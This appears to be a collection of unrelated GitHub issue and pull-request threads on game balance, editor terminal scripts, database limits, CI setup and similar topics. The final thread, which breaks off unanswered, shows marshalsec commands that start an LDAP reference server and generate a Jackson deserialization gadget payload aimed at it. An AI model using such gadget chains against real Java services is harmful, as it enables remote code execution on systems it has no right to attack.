sleeper agent appear later into the round and only once

About the PR
Sleeper agents now appear only once per round and 30 minutes into the shift minimum.
Why / Balance
This event should not appear more than once, security is suffering already due to major increase of antagonists in the round.
Technical details

Media

[X] I have added screenshots/videos to this PR showcasing its changes ingame, or this PR does not require an ingame showcase

Breaking changes

Changelog

:cl:

tweak: Sleeper Agents only appear once per round.

Closed due to feature freeze May 10th-June 14th. Comment to have it reopen after this.

I eagerly await the end of the feature freeze for this

This... could stay open afaik

@Killerqu00 Can i reopen and merge? This fixes part of #28016

@Killerqu00 Can i reopen and merge? This fixes part of #28016

yeah!

30 is a bit too long, how about 20 or 25?

30 is a bit too long, how about 20 or 25?

25 is how it is currently.
30 feels better for me, because mass sabotage is also allowed at the same time. I can change it back, though.

I'm fine with it


Xpansion doesn't find profile file

Tested with 1.2.2 on prod.
If direct/indirect file does not exist it does not convert existing file.
Illegal value : option can be 0, 1 or an existent filename.                            /applis/antares/xpansion-2/examples/SmallTestFiveCandidates/user/expansion/capa/direct_capa_pv.ini is not an existent file
But capa_pv.ini exists

Wrong config


Run python linter with python2

I think the linter by default uses python3 to lint files and gives findings accordingly.
we have a project which needs python2.7 specifically, is it possible to configure linter to run using python2 ?
with current run we're getting issues(F821 undefined name) with functions like xrange which is not available in python3 anymore.

This would take setting up a special option in the super-linter action. I don't foresee anyone taking on this work as Python 2 has been deprecated for some time now.


Rename spanqit module

Up for discussion: should the newly contributed spanqit module (a fluent api for SPARQL query composition) be renamed?

I can appreciate the humor in it :-) But a more business-appropriate name is probably desirable ...
So what about SparqlBuilder or SparqlQueryBuilder ?

What about sparqit or sparqlit?

Personally in favor of something like SparqlBuilder as well - does what it says on the tin. Which is also the main problem I have with the name spanqit. I can appreciate the fun aspect, but it's just not clear from the name what it actually is.


duplicate events in marketpalce

@ponderingdemocritus i think you were testing on localhost (so 2x the useeffects)


OnRender () update.

The on render function needs amending so if side swiping the page is adjusted to fit height and not width...
Otherwise you only see half a page and then have to drag around to see the bottom of the page.
@barteksc
ScaleToHeight()

Updated the function to below, this allows the page to be shown in full depending on the rotation
pdfView.fitToWidth(pageNumber,0);
Optionally pass page number and orientation to fit page to height when in book view
No 0 is normal portrait view,
No 1 is landscape view.
To use in normal mode just use the value of 0 if you do not wish to fit to height.
public void fitToWidth(int pageOrientation) {
    if (state != State.SHOWN) {
        Log.e(TAG, "Cannot fit, document not rendered yet");
        return;
    }
    if(pageOrientation==0) {
        int centerPos = getPageAtPositionOffset(0);
        zoomTo(getWidth() / optimalPageWidth);
        setPositionOffset(centerPos);
    }
    else
    {
        int centerPos = getPageAtPositionOffset(0);
        toRealScale((float) getHeight()/optimalPageHeight);
        setPositionOffset(centerPos);
    }
}


Adding http/1.1 support in httpcli.

Supersedes #29226.

Hey I think this looks good. Can you try running the two fuzzers in test/core/http for like... 20-30 minutes each before submission just to squeeze out anything problematic?
something like:
bazel run test/core/http/response_fuzzer -c dbg --config fuzzer_asan

(or better if you have an idle 100 cores somewhere:
bazel run test/core/http/response_fuzzer -c dbg --config fuzzer_asan -- -jobs=100 -workers=100

)

Good point. I have roughly 50 idle cores at home so I'll try that for some time :)

Ran this over 50 cores for over an hour without issue.


Regression: first migration timestamp

When adding the first migration, EF used to create it with timestamp '0000000000000'. Now it adds the current timestamp.
Using the 'null' timestamp for initial migrations is useful at the early stages of a project when migrations are not used yet, and the repo contains just an InitialCreate or similar migration for creating the database.

Then the documentation is a bit misleading:
https://docs.microsoft.com/en-us/ef/core/managing-schemas/migrations/
It could be a useful feature.

...should we replace the 0s with Xs?

That would screw up the ordering.

Oh you mean in the documentation? :) Yeah probably.

Note to self: We wanted to investigate always using<PHONE_NUMBER>0000 as the timestamp of the initial migration. This would help with one of our internal use-cases.

@bricelam - Do we want to generate 00000 for initial migration? The current code already has information about last migration. So it can change migrationid appropriately.

Updated documentation. Leaving this issue open to make product change if any.


iTerm nightly compatibility

I run iTerm nightly (using homebrew cask) but I'd been having issues with Sublime Terminal. I reported it the iTerm developer George Nachman and he cleaned up the iTerm.sh file. His version opens in a new tab of the current terminal by default, which I consider to be the best anyway.
The cleaned up version is available at https://gist.github.com/gnachman/b9ae9cf06c44b5a95edf and it seems reasonable to use it, but I'll hold off for feedback before doing a pull request.

I can't really tell the differences but the script looks fine. Can you open a PR?

your iTerm.sh works, thank you @jcrben

I can confirm the @jcrben cleaned version works!

@jcrben's version works (thanks!), but there is still one minor issue. If iTerm2 is not running, it opens the app to my default (home) directory. If I press the keyboard shortcut in ST3 a second time it will then open a new tab in iTerm to the project directory.
Just to be clear, iTerm2 should navigate directly to my project folder the first time I press the shortcut from within ST3. And while I'm already nitpicking :blush: the iTerm2 window is launching in the background but it should come right to the forefront.
I'm running the version 3 beta. To be fair to this project, SourceTree (which also has an "open terminal" button) also opens the iTerm beta in the background.

Installing shell integrations with iTerm2 seems to have alleviated most of the issues in my previous comment. It's still not quite perfect; if you had no open tabs when you last quit iTerm2 it will remaining in the background after invoking it from ST3. But if you had an open tab the shortcut in ST3 will bring iTerm2 to the forefront and navigate to the project's directory.

Can anyone verify that this patch works for both the pre-v3 version and post-v3 version?

@jcrben's iTerm.sh works with shell integration for iTerm2 Build 2.9.20160206.

Alright, according to the beta release website that is the post-v3 version.
https://iterm2.com/version3.html
Can anyone verify this works with the pre-v3 version?

It's awesome!

@jcrben cleaned version didn't work for me until I changed
tell application "System Events"
    count(processes whose name is "iTerm")
end tell

…to
tell application "System Events"
    count(processes whose name is "iTerm2")
end tell

using iTerm 2.9.20160313

FWIW, I'm using this script to open a new tab with iTerm2 2.9.20160313:
#!/usr/bin/osascript

do shell script "pwd"
set targetFolder to quoted form of POSIX path of result

tell application "/Applications/iTerm.app"
  -- A count of 0 means that iTerm is open with no windows, or that iTerm is
  -- closed. If it's closed, counting the windows opens it.
  if (count of windows) is 0 then
    -- If iTerm was closed, but is now open, it'll have one window.
    -- This prevents opening two tabs at startup.
    if (count of windows) is 1 then
      set newTab to (current tab of first window)
    else
      set newTab to (current tab of (create window with default profile))
    end if
  else
    set newTab to ((create tab with default profile) of first window)
  end if
  tell current session of newTab to write text "cd " & targetFolder
  activate
end tell

I just cloned @jcrben's sublime_terminal but it still isn't working for me. I'm  using iTerm Build 2.9.20160510 with Shell Integration. I've also tried @matthias-vogt's suggestion which also didn't work (just to clarify @matthias-vogt, you were recomending to Replace All iTerm -> iTerm2 correct? That's what I tried and it didn't work). I also tried using the up-to-date repo here and tried the same thing: with and without iTerm -> iTerm2 substitution. I've also tried just manually copying and pasting the script from the gist but this hasn't worked either. I'd love some suggestions :)

@jcrben version solved the issue with iTerm2 Build 3.0.0 (OS X 10.11.5 / Sublime 3114)

Ditto, the iTerm update to 3.0.0 broke the terminal shortcut. @jcrben 's new iTerm.sh file fixed it!
The only change I made was to focus iTerm by adding activate into the tell blocks

Also works for me :) @KyleKing thanks for confirming, would you mind posting a link to your modified iTerm.sh with the correctly added activate?

Nothing special, I just tossed in an activate call in three places (Too bad GFM doesn't support highlighting a specific line)
#!/bin/bash

# Modified following this issue: https://github.com/wbond/sublime_terminal/issues/89

CD_CMD="cd "\\\"$(pwd)\\\"" && clear"
if echo "$SHELL" | grep -E "/fish$" &> /dev/null; then
  CD_CMD="cd "\\\"$(pwd)\\\""; and clear"
fi
VERSION=$(sw_vers -productVersion)
OPEN_IN_TAB=0

while [ "$1" != "" ]; do
	PARAM="$1"
	VALUE="$2"
	case "$PARAM" in
		--open-in-tab)
			OPEN_IN_TAB=1
			;;
	esac
	shift
done

if (( $(expr $VERSION '<' 10.7) )); then
	RUNNING=$(osascript<<END
	tell application "System Events"
	    count(processes whose name is "iTerm")
	end tell
END
)
else
	RUNNING=1
fi

if (( ! $RUNNING )); then
	osascript<<END
	tell application "iTerm"
            tell current window
                tell current session of (create tab with default profile)
                    write text "$CD_CMD"
                end tell
            end tell
            activate
	end tell
END
else
	if (( $OPEN_IN_TAB )); then
		osascript &>/dev/null <<EOF
		tell application "iTerm"
                    if (count of windows) = 0 then
                        set theWindow to (create window with default profile)
                        set theSession to current session of theWindow
                    else
                        set theWindow to current window
                        tell current window
                            set theTab to create tab with default profile
                            set theSession to current session of theTab
                        end tell
                    end if
                    tell theSession
                        write text "$CD_CMD"
                    end tell
                    activate
		end tell
EOF
	else
		osascript &>/dev/null <<EOF
		tell application "iTerm"
                    tell (create window with default profile)
                        tell the current session
                            write text "$CD_CMD"
                        end tell
                    end tell
                    activate
		end tell
EOF
	fi
fi

Yeah I just swapped yours in and working great as well. Thanks @KyleKing

@excetara2 I was having the same issue.
I dont know really know much of shell scripting but I tweaked the script a little bit and it worked. Check it out.

@nalinbhardwaj  Still doesn't work for me with your updated script but I think the script just opens whatever folder is passed to it so maybe something is wrong with it grabbing my project folder.

@patik I also had similar problems but only noticed when in full screen mode that it switches to another space and puts Iterm in the background. This doesn't happen if Iterm is not in full screen mode but once it has been activated like this it seems to stay and always open in the background after that.

I apologize in advance for this basic question, but how exactly do I update the iTerm.sh to the new fix for build 3? I would appreciate any feedback on this.

@horatiorosa Just go to the preferences menu in Sublime text, and click "Browse Packages", from there, open the folder called "Terminal". The file iTerm.sh is located there, just replace it's text, and restart Sublime. See below for the Mac screenshot.

Thanks for the help @nalinbhardwaj!

For me the new iTerm.sh doesn't seem to work. I tried it yesterday and was able to open iTerm but after a restart it won't work anymore for some reason. I tried both versions of @KyleKing and @jcrben but neither of them works.
When clicking "Open Terminal here...", nothing at all happens
I'm using Sublime Text 3, Build 3114 and iTerm2 Build 3.0.2 on OS X 10.11.5.
Any suggestions what to try next?

@uneart can you try opening a different folder or file? Is anything logging to the sublime console?

@KyleKing I tried various folders, still no success. There is nothing logged in the console.

I'm having a similar problem.  Looks like iTerm.sh is failing for me.
$ pwd
/Users/dweller/Library/Application Support/Sublime Text 3/Packages/Terminal
$ ./iTerm.sh
41:49: syntax error: Expected end of line but found identifier. (-2741)

iTerm Build 3.0.2
Sublime 3114
Terminal 1.12.0

It's probably a better idea to place the new iTerm.sh file in Sublime Text 3/Packages/User than putting it Sublime Text 3/Packages/Terminal. The User dir won't be overwritten in Terminal package updates. Remember to change the terminal key/value in Terminal package's User settings to point to the new location of iTerm.sh. Note: it will require an absolute path.
PS: Why can't the developers of this plugin just add this file to the default package? It seems like almost every person using this package and newer iTerm is having to go through hoops to do so.

Uninstall iTerm Build 3.0.2 and install the version 2.1.4 you'll see that everything goes back to work also with ST3. iTerm 3.0.2 is a test releases update many times a year and are occasionally unstable.

Finally! The script seems to work after I replaced all occurrences of iTerm with iTerm2. For some reason after updating iTerm to Build 3.0.2 it is named iTerm2 everywhere now.
@inderpreet99 Good advice! I put the iTerm.sh file into Sublime Text 3/Packages/User/Terminal and changed the user settings of the Terminal plugin as follows:
{
    "terminal": "Packages/User/Terminal/iTerm.sh",
    "parameters": ["--open-in-tab"]
}

I double-checked the path but I still get the error Terminal: The terminal Packages/User/Terminal/iTerm.sh was not found. I checked the user settings of other plugins and they reference the path to Packages the same way. What am I missing?

@uneart The absolute path would be /Users/username/Library/Application Support/Sublime Text 3/Packages/User/Terminal/iTerm.sh (check if that's where you put it). I'm not sure if you could get it to work with relative paths like you have.
@stiweb I do see your point about supporting a non-stable iTerm. I actually meant maybe put in iTerm2-v3.sh, rather than replacing the standard iTerm.sh (works for version 2). Users already have to setup for iTerm.sh by putting it in the settings. This would just make them do it for their specific version of iTerm.

My two cents: for some reason adding the settings to OS-specific settings file didn't work, adding them to global User settings did. Also absolute or ST-relative paths (Packages/...) didn't work, iTerm.sh did. I used the @KyleKing version with iTerm string replaced to iTerm2.

I opened #124 it works for me with iTerm2 build 3.0.4

Anyone has code that works with iTerm 3.0.7?

Anyone got a script that will also work if iTerm is not already running?

This issue has been resolved by finally landing #98. Please see the new documentation to get started, sorry for the long delay:
https://github.com/wbond/sublime_terminal/tree/1.13.0#iterm2-v3-on-os-x


upgrade should abort if securelevel > 0

There are gonna be issues with schg flagged files that can't have the flag removed from within the jail during the "make delete-old" and "make delete-old-libs" stage

I am sure I have hit that.  Search for chgflags at https://dan.langille.org/2023/12/03/freebsd-14-upgrade-files-not-removed-by-delete-old/


we have 20 champions on free rotation now :)

test was busted

Travis tests fail because of missing api key so good fix.


Known Issues

It is very confusing that you have an incomplete list of known issues in the middle of the page (pasted below).  And then have another list of more complete known issues in the known issues section at the very bottom of the article.  This section pasted below needs to be removed from the middle of the article and added to the rest of the known issues list at the bottom.  You can reference the full known issues list in it's place.
Others have left this same feedback however rather than combining the lists you just referenced them to the rest of the known issues list at the bottom which ignores the feedback that we are trying to give.
Kevin

These calling and meeting features are not supported:
Enhanced emergency services
HID buttons and LED controls between the Teams app and devices
Background blur and effects
Broadcast/live events
Location-Based Routing (LBR)
Call park
Call queue
Important
If you currently run Teams without AV optimization in VDI and you use features that are not supported yet for optimization (such as Give and take control when app sharing), you have to set Citrix policies to turn off Teams redirection. This means that Teams media sessions won't be optimized. For steps on how to set policies to turn off Teams redirection, see this Citrix website.
We're working on adding calling and meeting features that are currently only available in non-VDI environments. These may include more admin control over quality, additional screen sharing scenarios, and advanced features recently added to Teams. Contact your Teams representative to learn more about upcoming features.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 17880b9d-6b98-3194-cc33-fe8067ce241e
Version Independent ID: 643bcf2f-507b-e449-73db-923d8a368ad9
Content: Teams for Virtualized Desktop Infrastructure - Microsoft Teams
Content Source: Teams/teams-for-vdi.md
Service: msteams
GitHub Login: @LanaChin
Microsoft Alias: v-lanac

@LouisLouis3  Thank you for submitting feedback and contributing to the docs. We are currently investigating this.

@LanaChin should these "calling and meeting" known issues and image be incorporated with the known issues at the bottom of the article?

Thanks for your input to help us improve our docs, @LouisLouis3. We're updating the article to move the list of calling and meeting features that aren't supported to the Known Issues section.


Avoid always parsing package.json during Bazel build

Some conditions allow to skip parsing, so we move it below in the function.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Fix JsonPropertyName of OpenIdConnectConfiguration.ClaimTypesSupported

Fixes #2317.

@jennyf19 @brentschmaltz this PR is ready to be reviewed.


feat(e2e): Add monitor command to manage Prometheus and Grafana servers

Ref https://github.com/cometbft/cometbft/pull/4087#discussion_r1756569658
This PR adds a new command monitor with subcommands start and stop.
For example, ./build/runner -f <manifest> monitor start will start a Docker container with Prometheus and Grafana, reading metrics from the nodes defined in the manifest. Before running this command, run ./build/runner -f <manifest> setup to generate a prometheus.yml config file.
By default, Grafana will start with two predefined dashboards called Main and Compact.

PR checklist

[ ] Tests written/updated
[x] Changelog entry added in .changelog (we use unclog to manage our changelog)
[X] Updated relevant documentation (docs/ or spec/) and code comments

@hvanz if possible, could we back port this to v1.x ? Might be helpful in troubleshooting e2e nightly errors

@Mergifyio backport v1.x

if possible, could we back port this to v1.x ? Might be helpful in troubleshooting e2e nightly errors

@andynog Done: https://github.com/cometbft/cometbft/pull/4409


[IOTDB-1484]Auto create schema functionality with e2e testing in cluster

Description
Auto create schema functionality in cluster requires careful design combined with the stand-alone partialInsert functionality and the BatchPlan interface, you can refer to the design https://shimo.im/docs/TTJDkQPkX3YYjpyR .
After the reorganization, the corresponding E2E tests need to be added for continuous integration.

This PR has:

[ ] been self-reviewed.

[ ] concurrent read
[ ] concurrent write
[ ] concurrent read and write

[ ] added documentation for new or modified features or behaviors.
[ ] added Javadocs for most classes and all non-trivial methods.
[ ] added or updated version, license, or notice information
[ ] added comments explaining the "why" and the intent of the code wherever would not be obvious
for an unfamiliar reader.
[x] added unit tests or modified existing tests to cover new code paths, ensuring the threshold
for code coverage.
[x] added integration tests.
[ ] been tested in a test IoTDB cluster.

Key changed/added classes (or packages if there are too many classes) in this PR

Coverage remained the same at 68.213% when pulling 4308bd6de7833c718860eb93f039390d5728bd1e on MrQuansy:master into d1729eafc6d9ba7833f728439c401d9af3409414 on apache:master.

Love the refine logic of error handling  in the PR very much. For auto creating schema, I have a suggestion. Is there any way that put the creation logic in executor instead of coordinator as I have done in https://github.com/apache/iotdb/pull/3770?
Executor takes charge of schema auto creation could reduce a RTT between coordinator and simplify the error handling process. When an exception is thrown to coordinator, then it must not be resolved by retry or something like. So coordinator only needs to properly sends the error to user and/or record some log.


Remove mutually exclusive mode for mainnet and testnet so mainnet chains are always available, but testnets are off by default until users flip the switch and acknowledge

A. Remove the switch for mainnet
B. Keep the switch for testnet — unchanged
C. Keep the prompt for acknowledgment when enabling testnets
D. List of mainnets should always be available in the list of chains
E. The header in Wallet tab for the current testnet-mode should be removed
F. We always show the header with fiat value for mainnets that are enabled (if any, otherwise $0), in Wallet tab

This might need to be modified too:
https://github.com/AlphaWallet/alpha-wallet-ios/blob/42fa8f71cf8e7480a85f0475305e58588f01020e/AlphaWallet/WalletConnect/Providers/v2/WalletConnectV2Provider.swift#L247

A smart part left: #6425

Closing since remaining part is tracked in #6425


Allow "keycloak_theme" as a theme source directory

Fixes #429.

Hello @rome-user,
Have you confirmed that it effectively fixes your issue?
Are you building a standalone keycloak theme or is your theme colocated with your app?

@all-contributors please add @jakebolam for code

@all-contributors please add @rome-user for code


Fix comment typo on slog package

I'm studying the slog library for a presentation and realized this comment might be wrong.
just a suggested correction.
It will be an honor to be able to collaborate with the project, even if it is just a drop of water. 💧

https://en.wikipedia.org/wiki/If_and_only_if

thanks for reply @seankhliao !!


Jumps from 0.1.1 to 0.2.1 instead of 0.2.0

Current state: version 0.1.1.
After having a new feat commit, instead of jumping to 0.2.0, it goes to 0.2.1.
Expected: Whenever it jumps a major, it should reset the patch and minor. Whenever it jumps a minor, it should reset the patch.

Might be interesting to have a look at https://github.com/denoland/std/blob/8c9b4c6972e7eed0214f810542168ab746a306be/semver/increment.ts and https://github.com/denoland/std/blob/8c9b4c6972e7eed0214f810542168ab746a306be/semver/increment_test.ts for an implementation and test suite of all the possibilities. My guess is that you still don't want to include any dependency so recreating might be needed then.

Hi @eturino, thank you for your suggestions! The version jump is intentional and configurable: to avoid it, you can set "squashIntoSingleVersioning": true in the light-release.config.json. I'll add some additional documentation to clarify this.
I also agree about adding some test suites and will review your references.

@VincenzoManto  squashIntoSingleVersioning was enabled and it was the one that didn't jump properly. It is fixed in my PR.

Might be interesting to have a look at https://github.com/denoland/std/blob/8c9b4c6972e7eed0214f810542168ab746a306be/semver/increment.ts and https://github.com/denoland/std/blob/8c9b4c6972e7eed0214f810542168ab746a306be/semver/increment_test.ts for an implementation and test suite of all the possibilities. My guess is that you still don't want to include any dependency so recreating might be needed then.

Do you refer just to those 2 test files?

The test file particularly to base the test suite of this implementation on all the examples, etc.


A problem with proxies parameters

I have a problem about proxies, when I was using ip agent
requests.get('http://1212.ip138.com/ic.asp', headers=headers,proxies=pro, timeout=9)
How can i know if I succeed to use the ip agent, sometimes the result from the url is my own ip instead of the ip in proxies.Does that means the ip in proxies is useless?
Thx for your reply.

Without seeing how your proxies are configured I have no idea if that will work or not.


Check for document before using it.

This module was crashing on the server because there was no window or document.

@rupl Thank you, merged! Sorry for the delay.


cannot change the color of the child of Menu

TuSimple/naive-ui version (版本)
2.34.3
Vue version (Vue 版本)
3.2.45
Browser and its version (浏览器及其版本)
Chrome 108.0.5359.125
System and its version (系统及其版本)
Windows 11
Node version (Node 版本)
Reappearance link (重现链接)
https://www.naiveui.com/en-US/os-theme/components/menu
Reappearance steps (重现步骤)
use code or NThemeEditor to change the child's color of N-Menu
Expected results (期望的结果)
the child color of menu will change as well
Actual results (实际的结果)
I tried to change the child's color of menu while it's collapsing.
But nothing happened while I change color via NThemeEditor.
Neither collapsed menu nor non-collapsed menu's color changed.
It seems that it's still a part of Menu,but if you wanna change its background color,you need to change"common","popoverColor".
There has no description of what should I use to change them, so I have no idea if there's a bug or just me wrong.
我想修改當菜單摺疊時，顯示的popover內菜單的active text color
但是我透過主題編輯器修改了所有menu內的color，它都沒有任何變動
看起來它仍是屬於Menu的一部份，但是它的背景顏色卻是以common的popoverColor為主
因為沒有任何的API敘述，所以我也不確定是bug還是是我用法錯誤

Remarks (补充说明)

The scenario of n-menu is really implemented by n-popover, so it's OK to name it 'popoverColor'.
If you just want to modify independently, you can use peers API, see:
https://www.naiveui.com/en-US/os-theme/docs/customize-theme#Use-the-peers-vars


Error "java.net.SocketException: Too many open files" when create class

OrientDB Version: 3.0.25
Java Version: 8
OS: Ubuntu 18.10
Expected behavior
Created success, not raise any error
Actual behavior
java.net.SocketException: Too many open files
Steps to reproduce
My OrientDB system has over 100 classes with over 50GB data, setup in cluster mode with 6 node.

Open console (run ./console) and login to server....
Run command "create class ..." -> nothing problem
Run command "create property ..." -> nothing problem
Run command "create index....." -> nothing problem
..........................
Run command to create other class  : "create class gameapp_platform extends V", it has been error .
Detail error:
Error on client connection java.net.SocketException: Too many open files (Accept failed)      at java.net.PlainSocketImpl.socketAccept(Native Method)      at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)      at java.net.ServerSocket.implAccept(ServerSocket.java:545)      at java.net.ServerSocket.accept(ServerSocket.java:513)      at com.orientechnologies.orient.server.network.OServerNetworkListener.run(OServerNetworkListener.java:188)
I've tried create again but still has this error. Cluster seem to be failed.
I've set ulimit open file for linux but seem to be not working.

Please help me.
Thank you

Hi, do you have several nodes installed on the same server?

only one node on one server/IP

cluster mode with 6 node on 6 server.but if i drop some class ,the error disappear

I see how many connections do you have? Could you send me the output of the server during the start?

I see how many connections do you have? Could you send me the output of the server during the start?

you can see, about 56 connections now, some time up to 200 connections .

I see how many connections do you have? Could you send me the output of the server during the start?

after start success, this is status.

Send me all server log just from the begging

Send me whole server log just from the begging

5000 line logs, can't send all :)
i will send you what main infomation

Do you need whole log file, i will send for you?

OK, I have seen what I need, could you send me the current limit of open files inside of OS? Do you use container inside of the cloud?

OK, I have seen what I need, could you send me the current limit of open files inside of OS? Do you use container inside of the cloud?

No i don't use docker.
This is current limit

You see you have size 65K open files but database for som reason detects a bigger amount of open files. What you need is to change open files limit in DB to the 32K open files. Using this system property -Dstorage.openFiles.limit=32000

it's mean "Dstorage.openFiles.limit" will always set smaller than system limit?

yes sure, you need to have room to open more files for "system" needs too.

yes sure, you need to have room to open more files for "system" needs too.

i want to ask more: Do i need to add "LimitNOFILE=" to .service file? (because i run orientDB as service on Linux)

You see you have size 65K open files but database for som reason detects a bigger amount of open files. What you need is to change open files limit in DB to the 32K open files. Using this system property -Dstorage.openFiles.limit=32000

OK thanks you very much!

You see you have size 65K open files but database for som reason detects a bigger amount of open files. What you need is to change open files limit in DB to the 32K open files. Using this system property -Dstorage.openFiles.limit=32000

thank you too much for the good solution for us <3


tox tests on github actions

Description
This pr would move tests to github actions backed by tox environments.
Tox is an awesome tool that lets you declare environments, dependencies, and commands for testing.  It lets you define a number of environments, or environmental factors, and then mix and match them when calling on the command line.  For instance, tox -e py37-pyside will build you a new environment with python 3.7 and pyside2 and run all the tests (i.e. you don't need to have create one yourself with conda).  It also makes sure that you're testing in a "clean" environment, as would be achieved in a fresh install, without pollution from your dev environment.  Even better, run tox -p and all of the platform-appropraite environments in your tox.ini envlist will be run in parallel. This makes it super easy to run environmentally parametrized tests locally.  (Note, if you want tox to build your environments with conda instead of virtualenv, install tox-conda).
It plays really well with github actions via tox-gh-actions, where various environmental variables can be used to select the appropriate tox factors, limiting the scope of the tests based on the test environment.
tests are also now working on py3.9 on all platforms, windows pyqt5 (which wasn't before), and big sur with py3.9.0
I've broken up the tests into three typical triggers (just a proposal, very much open for feedback):

A quick (~10min) but "thorough-enough" test that gets run on pull requests: test_pull_requests.yml.  This tests:

code quality and manifest.in
py37,38,39 on ubutuntu with both pyside2 and pyqt5
windows py3.8 with both pyside2 and pyqt5
macos py.38 with only pyqt5 (mac is the slowest, so this is just to save about 5 minutes)
ubuntu python 3.7 with MIN_REQ

A "comprehensive" test that takes somewhere between 20-40 min (mostly because Big Sur takes forever to start... we could exclude that) that runs on any push to master: test_comprehensive.yml

py37,38,39 on mac,win,linux with both pyqt5 and pyside2
python 3.9.0 on big sur with pyqt5
ubuntu python 3.7 with MIN_REQ
ubuntu python 3.8 and pyqt5 with --async_only
ubuntu python 3.8 and pyqt5 with --perfmon-only

A pip --pre test that runs on a cron job every 12 hours: test_prereleases.yml.  This tests mac, windows, and linux on python3.8 with both pyside2 and pyqt5 and opens an issue if anything fails.  Here is an example of what a failing --pre test issue looks like.

~I've temporarily enabled all three on pull requests, so they should run when I submit this, but you can also see my last runs here: https://github.com/tlambert03/napari/actions~ (I put them back to their triggers)
other notes:

~I bumped numpy to >= 1.16.5 to pass the MIN_REQS test... but that's just for pandas I think, so we can revert that if we want to figure out a pandas-specific strategy~ (taken care of in #2050)
~I'm including a test fix from #1856 in the magicgui tests~ (merged in #1856)

Type of change

[x] Changing test runner

one more note: you'll notice that the three different workflows are basically only different in their test matrices, but github doesn't currently seem to offer conditional matrices.  However, we could potentially this strategy to construct a matrix as a build step based on the event trigger... and then merge all three files.

This is great @tlambert03! I'll spend some time digesting, but I'm supportive. One quick note is it looks like the "Black Formatting" test is hanging - see

This is great @tlambert03! I'll spend some time digesting, but I'm supportive. One quick note is it looks like the "Black Formatting" test is hanging - see

yeah, we'll need to go into Settings > Branches > master > ... Status checks ... to change that before merging

Holy moly LOL. (Looking at the number of comprehensive tests. 😅) @tlambert03 how do notifications work on failing tests on master and pre? I think this is technically the correct way to split tests, but I'm worried that no one will click on that gh actions tab to check on this stuff. PRs are nice because there's always people noticing failing checks.
Anyway, other than that I love this change. =)

how do notifications work on failing tests on master and pre? I think this is technically the correct way to split tests, but I'm worried that no one will click on that gh actions tab to check on this stuff.

The --pre test will automatically open an issue if one of the tests fail. (Here is an example of what a failing --pre test issue looks like).
The comprehensive tests are usually a bit more visible (since they will have a big X on the repo home page). but there's no reason I can't/shouldn't add the same issue-opening mechanism to that too

ok, I put the comprehensive and --pre tests back to their "normal" settings of running on push-to-master and cron job respectively.  both will not open an issue when a test fails.  You can also trigger each of them manually in the actions tab (this is because of the workflow_dispatch event that I added ... which we might want to do for the bundle since we sometimes need to trigger that manually?
I also added python 3.9 to setup config, since this pretty much confirms we can "officially" support it now.
Lastly, I tried to add a lot of comments to each section explaining how it all works for whoever needs to change it in the future.
the last thing we'd need here is to switch the "Black Formatting" requirement in Settings > Branches > master > ... Status checks ... to Code Quality (black)

Thanks for moving perfmon/ async over. I'll try and get rid of perfmon as I said above. Didn't get to it tonight, but we can also do that after this merges too. If @jni gives this an approve then I think we're good to merge !!!!

Now that #2055 has merged can you add a no-Qt / Qt isolation test @tlambert03. Probably something that should be part of Quick but only linux.

headless tests added: https://github.com/napari/napari/runs/1631288034?check_suite_focus=true#step:7:19

One important remark. Github actions do not allow to restart a single job. The previous provider allows this which simplifies debug. Also, non maintainer could restart the test on a previous platform.

One important remark. Github actions do not allow to restart a single job. The previous provider allows this which simplifies debug. Also, non maintainer could restart the test on a previous platform.

thanks for pointing it out.  the fact that tests on the whole are finishing 3x faster kinda outweighs (for me at least) the fact that you just rerun the whole job.  There's plenty of demand for that feature too, so I suspect it will come soonish.
Let's definitely keep an eye on how often we find a non-maintainer needing to restart a test without actually pushing a new commit (which, of course, is a way that anyone can restart a job)

thanks for pointing it out.  the fact that tests on the whole are finishing 3x faster kinda outweighs (for me at least) the fact that you just rerun the whole job.  There's plenty of demand for that feature too, so I suspect it will come soonish.
Let's definitely keep an eye on how often we find a non-maintainer needing to restart a test without actually pushing a new commit (which, of course, is a way that anyone can restart a job)


Allow joins to properly join grids

Joining two grids (of the same arity) would formerly cause a compiler
error.
See Trac #12216

Note that this pull request uses some c++14 features...I saw c++14 features used in grid.hpp (with auto return type) so I went ahead and used them myself.  If these changes are in places that support older standards, this pull request won't work as is...just let me know.

This patch apparently causes some segfaults when running test cases compiled without optimization.  I'll leave this patch up for inspirational purposes, but it might not work as is.

Patch has been updated to no longer cause segmentation faults.  It still should only be considered "lightly tested".

Unfortunately your changes require C++14 and are breaking some other tests. So it will take some additional time to get it right.

Fixed by rev 2fc875b9b22c717e17e56171501bd9aa3051213c


Make compatible with Leaflet 0.8-dev

I tried out Leaflet 0.8-dev (2015-03-18) with markercluster. It does not work.
If you are calling
new L.MarkerClusterGroup();

You get following error:

leaflet-src.js (Row 136)
TypeError: str is undefined
return str.trim ? str.trim() : str.replace(/^\s+|\s+$/g, '');

Using stable 0.7.3 with same code works.
Any ideas what could it be?!

Use the leaflet-master branch:
https://github.com/Leaflet/Leaflet.markercluster/tree/leaflet-master

I have the same issue, I downloaded the master branch, version, but it doesn't work. I get the following error:
TypeError: t is undefined        leaflet.js:5:1150
Any ideas?


Implemented NMS_FT_39,40,41,42,43,44,45,46,47,48

The test case are very similar. SO they have been put on same branch.

Can one of the admins verify this patch?

ok to test

Hi,
As the name of the branch was a little wrong, I have created a new branch and deleted this one. I'll raise the pull request accordingly. The branch was not covering test case no 48.

The new branch is at https://github.com/motech-implementations/mim/commits/NMS.FT.<IP_ADDRESS>.<IP_ADDRESS>.47


Unclear instructions for LDAP

Nice work @mbechler, thank you!
I was trying to get the Jackson exploit to work with an LDAP remote codebase. I see you have an example LDAPServer which we can use, but I'm not sure what to use as the argument when starting to make the Jackson Marshal work. Can you give more details for that?
Here's what I tried:
Terminal 1:
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer file://marshalsec.gadgets#JdbcRowSet
Output:
Listening on <IP_ADDRESS>:1389
Terminal 2:
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Jackson -v -t SpringAbstractBeanFactoryPointcutAdvisor ldap://localhost:1389

Output:
